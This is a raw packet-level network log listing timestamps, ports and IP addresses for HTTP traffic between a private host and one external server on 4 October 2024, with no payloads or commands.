Oct 4, 2024 09:52:33.513753891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513771057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513786077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513803005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513818979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513829947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513851881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513861895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513885021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513919115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513931036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513963938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.597347021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597389936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597433090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597450972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597465992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597482920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597498894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597516060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597532034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597548008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597563028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597579956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597610950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597642899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597675085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597711086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597775936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597809076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597841978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597842932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.597842932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.597843885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.597843885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.597877026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597912073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597928047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.597928047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.597928047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.597944975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597959042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.597978115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.597999096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598011017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598037958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598043919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598059893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598077059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598098993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598109007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598123074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598140955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598166943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598174095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598187923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598261118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598292112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598323107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598354101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598385096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598417044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598438025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598438025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598438025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598438025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598438025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598448992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598480940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598512888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598526001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598526001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598526001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598545074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598555088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598577023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598592997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598608017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598639965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598642111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598663092 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598671913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598685026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598705053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598730087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598737001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598750114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598769903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598803043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598834038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.598988056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598988056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.598988056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599059105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599092007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599123001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599150896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599153996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599175930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599185944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599199057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599217892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599236965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599250078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599268913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599282026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599298000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599313021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599338055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599344969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599364996 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599376917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599425077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599428892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599428892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599438906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599455118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599469900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599469900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599483967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599488974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599508047 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599529982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599648952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599663019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599687099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599700928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599700928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599718094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599733114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599734068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599747896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599761009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599767923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599786043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599807024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599826097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599841118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599854946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599869967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599874973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599884033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599898100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599899054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599915981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599920034 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599930048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599944115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599955082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599960089 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599976063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.599976063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.599997044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.600035906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.600843906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600872993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600881100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600888968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600897074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600904942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600912094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600919962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600934029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600941896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600950003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600956917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600965023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600972891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.600987911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.601002932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.601017952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.601032972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.601047993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.601062059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.601121902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.601121902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.601121902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.601121902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.601121902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.601121902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.601927996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.601948023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.601963043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.601978064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.601991892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.602008104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.602020025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.602035046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.602050066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.602065086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.602078915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.602108955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.602108955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.602108955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.602108955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.602108955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.602108955 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686027050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686078072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686111927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686144114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686177015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686208963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686240911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686294079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686326027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686335087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686335087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686335087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686335087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686335087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686357975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686378002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686408043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686408997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686444998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686475992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686491013 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686507940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686527014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686539888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686569929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686572075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686595917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686604023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686638117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686639071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686655045 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686672926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686691999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686705112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686719894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686737061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686755896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686769009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686778069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686800003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686813116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686831951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686871052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686891079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686902046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686928988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686933994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686953068 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.686966896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.686990023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687011003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687021017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687053919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687072039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687084913 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687102079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687117100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687136889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687149048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687165976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687197924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687202930 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687248945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687282085 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687314987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687342882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687350035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687374115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687400103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687422991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687433004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687464952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687482119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687498093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687515020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687530041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687553883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687561989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687573910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687593937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687608957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687625885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687644005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687657118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687680960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687691927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687707901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687772036 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.687942982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.687974930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688007116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688030005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688039064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688066006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688070059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688096046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688101053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688116074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688134909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688152075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688167095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688186884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688198090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688221931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688230038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688262939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688285112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688294888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688319921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688327074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688342094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688359022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688390970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688409090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688421011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688443899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688458920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688472986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688488007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688534975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688539028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688565969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688586950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688597918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688616991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688631058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688644886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688666105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.688677073 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.688710928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689097881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689125061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689157009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.689165115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689187050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.689188004 CEST	80	49745	141.98.233.156	192.168.2.4
